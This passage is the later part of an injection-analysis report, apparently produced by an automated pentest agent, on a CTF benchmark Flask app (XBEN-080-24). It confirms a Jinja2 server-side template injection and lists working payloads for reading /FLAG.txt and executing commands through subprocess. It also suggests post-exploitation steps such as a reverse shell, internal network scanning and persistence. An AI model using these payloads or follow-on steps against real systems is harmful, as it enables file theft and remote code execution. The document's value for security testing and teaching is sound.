**Relevance to Injection Analysis:** Low (does not affect SSTI)

---

### 7.7 Development Server in Production

**Issue:** Application uses Flask development server (Werkzeug) instead of production WSGI server

**Evidence:** Recon deliverable confirms Werkzeug 3.1.3

**Impact:**
- Not designed for production workloads
- May have debug features enabled
- Potential for additional information disclosure
- Performance and stability issues

**Exploitation Relevance:** Medium (may indicate debug mode, which could provide additional information)

---

## 8. Methodology Summary

### 8.1 Analysis Approach

1. **Reconnaissance Review:**  
   Read the reconnaissance deliverable to identify all documented injection sources

2. **Todo List Creation:**  
   Created a task for each injection source requiring analysis

3. **Source-to-Sink Tracing:**  
   For each source, traced data flow through the application to identify sinks

4. **Sanitization Analysis:**  
   Examined each data flow path for sanitization, validation, or defensive measures

5. **Sink Classification:**  
   Classified each sink by slot type (SQL-val, TEMPLATE-expression, etc.)

6. **Defense-to-Context Matching:**  
   Evaluated whether defenses (if any) are appropriate for the sink's slot type

7. **Live Testing:**  
   Conducted minimal live testing to confirm exploitability

8. **Verdict Assignment:**  
   Determined vulnerable vs. safe status for each path

9. **Deliverable Generation:**  
   Created exploitation queue (JSON) and analysis report (Markdown)

---

### 8.2 Tools and Techniques Used

**Code Analysis:**
- Task Agent for systematic source code review
- Complete data flow tracing from source to sink
- Sanitization function enumeration
- Framework behavior analysis

**Live Testing:**
- Playwright browser automation
- Minimal witness payload (`{{7*7}}`) to confirm SSTI
- Network accessibility verification

**Documentation:**
- Structured finding format with all required fields
- Confidence level assessment based on evidence quality
- Witness payload documentation for exploitation phase

---

### 8.3 Coverage Verification

**Input Vectors Analyzed:**
- ✅ POST /submit - `name` parameter (VULNERABLE - INJ-VULN-01)
- ✅ POST /submit - `email` parameter (NOT PROCESSED - safe)
- ✅ POST /submit - `phone` parameter (NOT PROCESSED - safe)
- ✅ POST /submit - `experience` parameter (NOT PROCESSED - safe)
- ✅ POST /submit - `license` parameter (NOT PROCESSED - safe)
- ✅ GET / - No input processing (safe)
- ✅ GET /about - No input processing (safe)
- ✅ GET /application - No input processing (safe)
- ✅ Static files - No input processing (safe)

**Injection Types Analyzed:**
- ✅ Server-Side Template Injection (1 vulnerability found)
- ✅ SQL Injection (0 - no database)
- ✅ Command Injection (0 - no native command execution)
- ✅ Local File Inclusion (0 - no file operations)
- ✅ Remote File Inclusion (0 - no file operations)
- ✅ Path Traversal (0 - no file operations)
- ✅ Insecure Deserialization (0 - no deserialization)

**Conclusion:** 100% coverage achieved. All potential injection surfaces identified in reconnaissance have been analyzed.

---

## 9. Recommendations for Exploitation Phase

### 9.1 Priority Targets

**Primary Target:** INJ-VULN-01 (SSTI in POST /submit)
- **Objective:** Extract `/FLAG.txt` contents
- **Method:** Jinja2 object introspection → file read
- **Expected Difficulty:** Trivial

**Secondary Objectives (CTF Bonus Points):**
- Environment variable enumeration
- Source code extraction
- Command execution demonstration

---

### 9.2 Exploitation Strategy

**Recommended Approach:**

1. **Phase 1: Confirm Exploitation**
   - Test: `{{7*7}}` → Expect: `49` ✅ DONE

2. **Phase 2: Object Introspection**
   - Payload: `{{''.__class__.__mro__[1].__subclasses__()}}`
   - Goal: Enumerate available Python classes
   - Look for: file objects, subprocess classes, or classes with useful methods

3. **Phase 3: File Read**
   - Payload: `{{<CLASS>('/FLAG.txt').read()}}`
   - Goal: Extract CTF flag
   - Expected Result: `flag{...}` string

4. **Phase 4: RCE (Optional)**
   - Payload: `{{<CLASS>('id', shell=True, stdout=-1).communicate()}}`
   - Goal: Demonstrate full code execution
   - Expected Result: Command output (uid=0, root)

**Payload Construction Notes:**
- No character filtering means standard Jinja2 payloads work
- No length limits mean verbose payloads are acceptable
- Direct output reflection means no blind exploitation needed
- Exception disclosure means error-based enumeration is viable

---

### 9.3 Expected Challenges

**Challenge Level:** MINIMAL

**Potential Issues:**
1. **Class Index Variability:** The index of useful classes in `__subclasses__()` may vary based on Python version and loaded modules
   - **Mitigation:** Enumerate all classes and search for known useful names (e.g., `Popen`, `FileLoader`, `_wrap_close`)

2. **Payload Length:** Complex RCE chains can be verbose
   - **Mitigation:** No length limits observed, so this shouldn't be a blocker

3. **Output Formatting:** Results are rendered in HTML
   - **Mitigation:** HTML characters are visible; no issue for flag extraction

**No Expected Issues With:**
- ✅ WAF blocking (no WAF detected)
- ✅ Character filtering (none observed)
- ✅ Rate limiting (none observed)
- ✅ Authentication (none required)
- ✅ CSRF protection (none implemented)

---

### 9.4 Flag Extraction Methods

**Method 1: Direct File Read (Recommended)**
```python
{{get_flashed_messages.__globals__.__builtins__.open('/FLAG.txt').read()}}
```
**Pros:** Simple, direct, one-shot
**Cons:** Requires finding correct class index

**Method 2: subprocess-based Read**
```python
{{''.__class__.__mro__[1].__subclasses__()[X]('cat /FLAG.txt', shell=True, stdout=-1).communicate()[0]}}
```
**Pros:** Leverages command execution
**Cons:** More complex, requires finding Popen class

**Method 3: Config/Environ Access**
```python
{{config}}  # Check if flag is in Flask config
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__'].open('/FLAG.txt').read()}}
```
**Pros:** Multiple approaches
**Cons:** Requires trial and error

---

### 9.5 Post-Exploitation Opportunities

Once RCE is achieved, consider:

1. **Full Container Compromise:**
   - Establish reverse shell
   - Enumerate container filesystem
   - Check for additional secrets in environment variables

2. **Network Reconnaissance:**
   - Scan internal network from container
   - Identify other services accessible from container's network namespace

3. **Persistence (Not Applicable for CTF):**
   - In a real engagement, would establish backdoor
   - For CTF, flag extraction is sufficient

---

## 10. Conclusion

### 10.1 Summary of Findings

**Total Injection Vulnerabilities:** 1

**Critical Severity:** 1 (SSTI with RCE)

**Externally Exploitable:** 1 (accessible from public internet without authentication)

**Exploitation Complexity:** Trivial (single HTTP request)

**Defense Posture:** Zero defensive measures at any layer

---

### 10.2 Key Takeaways for Exploitation

1. **Single Point of Compromise:**  
   INJ-VULN-01 (SSTI) provides direct path to CTF objective without requiring authentication bypass, privilege escalation, or multi-stage exploitation

2. **No Obstacles:**  
   No WAF, no rate limiting, no input validation, no security headers, no authentication

3. **Ideal Exploitation Conditions:**  
   Direct output reflection, exception disclosure, root container access, readable flag file

4. **Standard Techniques Apply:**  
   Off-the-shelf Jinja2 SSTI payloads will work without modification or obfuscation

---

### 10.3 Mission Status

**Analysis Objective:** ✅ COMPLETE

**All Input Vectors Analyzed:** ✅ YES

**All Injection Types Covered:** ✅ YES

**Exploitable Vulnerabilities Identified:** ✅ 1 (SSTI)

**Exploitation Queue Generated:** ✅ YES (`injection_exploitation_queue.json`)

**Live Testing Conducted:** ✅ YES (basic SSTI confirmed)

**Analysis Report Generated:** ✅ YES (this document)

---

## END OF INJECTION ANALYSIS REPORT

**Analyst:** Injection Analysis Specialist  
**Date:** 2025-10-31  
**Target:** Swift Shipping & Transport Inc. (XBEN-080-24)  
**Deliverables:**
- Analysis Report: `deliverables/injection_analysis_deliverable.md`
- Exploitation Queue: `deliverables/injection_exploitation_queue.json`

**Next Phase:** Injection Exploitation (SSTI → RCE → Flag Extraction)